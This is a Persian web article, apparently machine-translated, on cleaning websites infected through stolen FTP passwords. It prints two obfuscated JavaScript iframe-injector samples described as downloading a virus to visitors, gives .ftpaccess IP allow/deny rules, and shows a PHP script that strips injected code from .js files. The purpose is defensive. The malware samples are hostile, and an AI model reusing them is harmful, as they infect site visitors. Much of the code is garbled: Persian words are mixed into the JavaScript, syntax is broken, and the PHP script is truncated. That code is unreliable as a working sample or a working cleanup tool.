  • ftpaccess. روی سرورها پیکربندی شده - بنابراین دسترسی FTP به سرورها از همه IPها به جز IP استاتیک شما محدود می شود.
  • من یک اسکریپت حذف خودکار برای iframe ها و ویروس ها از همه فایل های js نوشتم. بنابراین، به ترتیب.
  • آلوده شدن فایل‌های سایت با وارد کردن کد iframe به فایل‌ها از طریق ftp اتفاق می‌افتد. قبلاً من بیشتر درج‌هایی را در فایل‌های php., .html مشاهده می‌کردم - که منجر به از کار افتادن کامل سایت‌ها می‌شد، امروزه بدافزارها مهربان‌تر شده‌اند و شروع به نوشتن انحصاری درج کردند. در فایل هایی با پسوند js - JavaScript. درج‌های IFRAME در انتهای فایل نوشته می‌شوند و می‌توانند به صورت صریح (به راحتی توسط آنتی‌ویروس‌ها شناسایی شوند) یا به صورت کدگذاری شده (کار رمزنگارهای مختلف iframe) باشند، برای مثال:

    try (q= document.createElement ("u") ; q.appendChild (q+ "") ؛ ) catch (qw) (h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" + "Ch" ; f+= "arC" ; ) try (qwe= نمونه اولیه ; ) catch (brebr) (zz= "zv" .substr (123 - 122) + zz; ss= ; f+= (h ) ? "ode" : "" ; w= this ; e= w[ f.substr (11 ) + zz] ; n= "17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$52.5$52$17$17.5$17.5$58.5$13.5$5$5.5$5 $55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5" [ ((e) ? "s" : "" ) + "p" + "lit" ] ("a$" .substr; (1) (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) (k= i؛ ss= ss+ رشته .fromCharCode (- 1 * h* (3 + 1 * n[ k] )) ;) q= ss؛ e(q) ;)

    try(q=document.createElement("u");q.appendChild(q+"");)catch(qw)(h=-012/5;zz="a"+"l";f="fr" +"om"+"Ch";f+="arC";)try(qwe=prototype;)catch(brebr)(zz="zv".substr(123-122)+zz;ss=;f+=(h )?"ode":";w=this;e=w;n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$3.5$2$1.5$56$45.5$2$1.5$56$45.5$2$1.5$56$45.5$2$1.5$56$45.5$2$1.5$56$45.5$54. 5 $ 2 $ 59.5 $17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2 -1;i-684!=0;i++)(k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));)q=ss;e(q ;)

    همه این هرج و مرج نمادین نتیجه شد کار جاوا اسکریپتتبدیل به یک کد HTML آسان برای درج iframe می شود و بدنه ویروس را از طریق عملیات اکسپلویت برای کاربر سایت دانلود می کند. بر اساس این حداقل تئوری، ما شروع به محافظت از خود در برابر عفونت های وب سایت خواهیم کرد.

    Settings.ftpaccess - دسترسی FTP به سرورها را محدود کنید

    ویروس‌هایی که رمزهای ftp شما را سرقت می‌کنند آنقدر حیله‌گر هستند که آنتی‌ویروس‌ها اغلب ناتوان هستند و رمزهای عبور به بیرون درز می‌کنند، مهم نیست چقدر از خود محافظت می‌کنید. من پیشنهاد می کنم مسیر دیگری را انتخاب کنید - و به سادگی دسترسی به ftp خود را مسدود کنید. برای اجازه دسترسی FTP فقط از IP های خاص، فایل ftpaccess. را با محتویات آن در ریشه سرور یا پوشه سایت های خود قرار دهید:

    اجازه از xx.xx.xx.xx اجازه از xx.xx.xx.xx رد کردن از همه

    جایی که xx.xx.xx.xx IP شما است که فعالیت FTP از آن مجاز است، خداحافظ دیگران.

    برای یک IP اختصاصی، با ارائه دهنده خود تماس بگیرید!

    اگر هنوز نمی توانید یک آدرس اختصاصی دریافت کنید، اما آدرس های پویا دارید، می توانید محدوده آدرس هایی را که آدرس های IP از آنها توسط ارائه دهنده اینترنت شما صادر می شود، مشخص کنید، به عنوان مثال به این صورت خواهد بود:

    Allow 212.32.5.0/26 Allow 158.152.0.0/16 Deny از همه

    این کار دسترسی هکرها به سرورهای شما را محدود می کند.

    اسکریپت حذف خودکار از همه فایل های درج iframe

    پس از محافظت از سرورها، من شروع به نوشتن یک اسکریپت کردم که می توانست سایت را برای ویروس ها بررسی کند و تمام پوشه های میزبان را مرور کند و فرمت های فایلی را که برای وجود iframe در محتوا مشخص کرده بودم بررسی کند. نتیجه کار اسکریپت زیر بود که درج کدهای مخرب را از صفحات سایت در یک مثال خاص از اسکریپت های js حذف می کند:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 $v) ( $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ) ; $pos_end = stripos ($v , $GLOBALS [ "virus_end" ] ) ; $ virus_text = substr ($v , $pos_start , $pos_end ) ؛ if ($virus_text != "" ) ( if (! stristr ($v , $virus_text ) ) ( $nfile = $v ; ) other ( if (! $ flag ) ($flag = true ; if (in_array ($ffile, $GLOBALS [ "skip_files" ] ) ) echo " - skipped" ; else (echo " - infected" ; $GLOBALS [ "num_infected" ] ++; ) ) ) ) else ( $nfile = $v ; ) ) if ( $GLOBALS [ "del" ] ) ( $file = fopen ($filename , "w" ) ؛ fwrite ($file , implode ($nfile , "" ) ) ; fclose ($file ) ; ) ) dir_walk("del_virus" , $dir , array ( "js" ) , true , $dir ) ; echo "Num infected = $num_infected " ; ?>

    $v) ($virus_text = $GLOBALS["virus_start"]؛ $pos_start = stripos($v، $GLOBALS["virus_start"])؛ $pos_end = stripos($v، $GLOBALS["virus_end"])؛ $ virus_text = substr($v، $pos_start، $pos_end)؛ if ($virus_text != "") ( if (!stristr($v, $virus_text)) ($nfile=$v; ) other ( if (!$ flag) ($flag=true; if (in_array($ffile, $GLOBALS["skip_files"])) echo "- skipped"; else (echo " - infected"; $GLOBALS["num_infected"]++; ) ) ) ) else ( $nfile=$v; ) ) if ($GLOBALS["del"]) ($file=fopen($filename,"w"); fwrite($file,implode($nfile,"")) ; fclose($file); ) ) dir_walk("del_virus", $dir, array("js"), true, $dir); echo "Num infected = $num_infected "; ?>